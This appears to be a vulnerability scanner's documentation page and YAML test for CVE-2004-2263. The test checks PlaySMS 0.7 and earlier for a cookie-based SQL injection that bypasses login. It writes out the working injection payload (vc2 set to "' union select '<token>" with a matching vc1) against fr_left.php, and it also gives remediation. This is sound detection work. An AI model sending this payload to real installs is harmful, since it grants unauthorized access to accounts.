PlaySMS — 1 vulnerability check

noctis ships 1 vulnerability check for PlaySMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PlaySMS <= 0.7 fr_left.php vc2 cookie SQL injection login bypass

CVECVE-2004-2263
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/playsms/CVE-2004-2263.yaml

Tests PlaySMS (0.7 and earlier) for the SQL injection in the vc2 session cookie (CVE-2004-2263): the session check looks the ticket of user vc2 up in the database and compares it with the vc1 cookie, with vc2 pasted into the SQL query. The test requests the menu frame fr_left.php twice with a random ticket T in vc1: once with vc2 set to "' union select 'F" (another random value) as a control, then with "' union select 'T". The menu for the injected user ("Hello ' union select 'T..", logout link) on the second request, while the control is refused, shows that the database returned the injected value and the application opened a session on it without any account. Nothing is written. The web root, /playsms and /web are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{base}}/fr_left.php
  3. HTTP(S) request GET {{base}}/fr_left.php
  4. Parses / computes the next value with a Rhai script
  5. Checks v.proof for ^bypass$ → finding QoD 97: PlaySMS fr_left.php vc2 cookie SQL injection login bypass (CVE-2004-2263)
  6. Checks v.proof for ^unverified$ → finding QoD 75: PlaySMS fr_left.php vc2 cookie SQL injection login bypass (CVE-2004-2263)

References:

Feed source — tests/vulnerabilities/playsms/CVE-2004-2263.yaml
# PlaySMS <= 0.7 — fr_left.php vc2 cookie SQL injection, login bypass (CVE-2004-2263)
#
# valid() in web/lib/function.php checks the session from two cookies:
#   $ticket = $_COOKIE[vc1]; $username = $_COOKIE[vc2];
#   SELECT ticket FROM tblUser WHERE username='$username'
#   ... valid when $ticket == the returned ticket.
# vc2 is concatenated into the query, so "vc2=' union select '<T>" makes the query return
# <T>, and "vc1=<T>" then passes the check: every page guarded by valid() opens without
# an account. fr_left.php (the menu frame) then echoes "<b>Hello <vc2>..</b>" and the
# menu; when valid() fails it calls forcelogout() (302 to error.php). 0.7.1 escapes every
# GET/POST/cookie value in init.php when magic_quotes_gpc is Off (pl_addslashes). Checked
# against the release tarballs 0.4, 0.5, 0.6, 0.7 and 0.7.1 (SourceForge playsms,
# "playsms-old-unsafe-archive-files"): the same valid() and fr_left.php in all of them.
#
# Detection, per candidate install directory ("", /playsms, /web), with two random tokens
# T and F:
#   1. Control: vc1=T, vc2=' union select 'F — the injected ticket does not match vc1, so
#      a vulnerable install must refuse it (forcelogout, no menu).
#   2. Probe:   vc1=T, vc2=' union select 'T — a vulnerable install opens the menu frame
#      for the injected user: "<b>Hello ' union select 'T..</b>" plus the logout link.
#   Probe opens the menu while the control is refused → QoD 97 (the database returned the
#   value we injected and the app logged us in on it). Probe opens the menu but the control
#   got no reply → QoD 75.
#   Nothing is written: valid() only reads tblUser.
#
# Better than the source check: it required index.php markers that 0.7 does not print
# (html_header.php sends content=\"http://playsms..." with literal backslashes) and the
# "User's Menu" / "Add SMS board" strings, absent from fr_left.php before 0.7 (0.6 says
# "Menu:" and shows "Add SMS board" to admins only) — so it missed every release it
# targets. Its fixed "ticket" value also passed on any app that ignores the cookies; the
# random ticket plus the mismatching control rule that out.
#
# CVSS: NVD has only a v2 score for CVE-2004-2263 (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Backlog source: OpenVAS/Greenbone NVT pre2008/playsms_sql_inject.nasl
# (OID 1.3.6.1.4.1.25623.1.0.14362, GPL-2.0-only).
uid: c5895ee5-0e4b-4a05-b850-ccdec94c6ebd
name: "PlaySMS <= 0.7 fr_left.php vc2 cookie SQL injection login bypass (CVE-2004-2263)"
description: |
  Tests PlaySMS (0.7 and earlier) for the SQL injection in the vc2 session cookie
  (CVE-2004-2263): the session check looks the ticket of user vc2 up in the database and
  compares it with the vc1 cookie, with vc2 pasted into the SQL query. The test requests
  the menu frame fr_left.php twice with a random ticket T in vc1: once with vc2 set to
  "' union select 'F" (another random value) as a control, then with "' union select 'T".
  The menu for the injected user ("Hello ' union select 'T..", logout link) on the second
  request, while the control is refused, shows that the database returned the injected
  value and the application opened a session on it without any account. Nothing is
  written. The web root, /playsms and /web are tried.
cves: [CVE-2004-2263]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [playsms, php, sqli, cookie, auth-bypass, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-2263"
  - "https://www.securityfocus.com/bid/10970"
  - "https://sourceforge.net/projects/playsms/files/playsms-old-unsafe-archive-files/Version%200.7/"
  - "https://sourceforge.net/projects/playsms/files/playsms-old-unsafe-archive-files/Version%200.7.1/"

steps:
  # Random tickets, shared by every directory.
  - id: tokens
    action: script
    code: |
      #{ t: "n" + rand_str(15), f: "n" + rand_str(15) }
    store_as: tok

  # ── Loop group: every step below runs once per candidate install directory ──
  # Pre-initialise every stored result the verdict script reads (an undefined variable
  # aborts the whole test).
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: null, headers: {}}
    loop:
      over: ["", "/playsms", "/web"]
      var: base

  - id: init-prb
    action: set_var
    var_name: prb
    var_value: {status: 0, body: null, headers: {}}

  # 1. Control: injected ticket F does not match vc1=T.
  - id: control
    action: http_request
    method: GET
    path: "{{base}}/fr_left.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Cookie: "vc1={{tok.t}}; vc2='%20union%20select%20'{{tok.f}}"
    store_as: ctl

  # 2. Probe: injected ticket T matches vc1=T.
  - id: probe
    action: http_request
    method: GET
    path: "{{base}}/fr_left.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Cookie: "vc1={{tok.t}}; vc2='%20union%20select%20'{{tok.t}}"
    store_as: prb

  - id: verdict
    action: script
    code: |
      let hello = "<b>Hello ' union select '" + tok.t + "\\.\\.</b>";
      let menu_re = "href=logout\\.php target=_top";
      let b = prb.body;
      let hit = prb.status == 200 && type_of(b) == "string"
        && ereg(hello, b) && ereg(menu_re, b);
      let cb = ctl.body;
      let ctl_menu = type_of(cb) == "string" && ereg(menu_re, cb);
      let ctl_refused = ctl.status != 0 && !ctl_menu;
      let proof = if hit && ctl_refused { "bypass" }
        else if hit && ctl.status == 0 { "unverified" } else { "" };
      #{ proof: proof, ctl_status: ctl.status }
    store_as: v

  - id: bypass-confirmed
    action: match
    source: v.proof
    pattern: "^bypass$"
    condition: "v.proof == \"bypass\""
    on_match:
      stop: true
      finding:
        title: "PlaySMS fr_left.php vc2 cookie SQL injection login bypass (CVE-2004-2263)"
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{base}}/fr_left.php with \"Cookie: vc1={{tok.t}}; vc2=' union select '{{tok.t}}\" returned the PlaySMS menu frame for the injected user (\"Hello ' union select '{{tok.t}}..\" and the logout link): the session query returned the value injected through vc2 and the session check accepted it. The control request with a mismatching injected ticket (\"vc2=' union select '{{tok.f}}\") was refused (HTTP {{v.ctl_status}}, no menu)."
        remediation: "Upgrade PlaySMS to 0.7.1 or later, which escapes cookie values before they reach SQL; on older installs keep magic_quotes_gpc On."

  - id: bypass-unverified
    action: match
    source: v.proof
    pattern: "^unverified$"
    condition: "v.proof == \"unverified\""
    on_match:
      stop: true
      finding:
        title: "PlaySMS fr_left.php vc2 cookie SQL injection login bypass (CVE-2004-2263)"
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{base}}/fr_left.php with \"Cookie: vc1={{tok.t}}; vc2=' union select '{{tok.t}}\" returned the PlaySMS menu frame for the injected user (\"Hello ' union select '{{tok.t}}..\" and the logout link). The control request with a mismatching injected ticket got no reply, so the check could not be confirmed against it."
        remediation: "Upgrade PlaySMS to 0.7.1 or later, which escapes cookie values before they reach SQL; on older installs keep magic_quotes_gpc On."

View these feeds on GitHub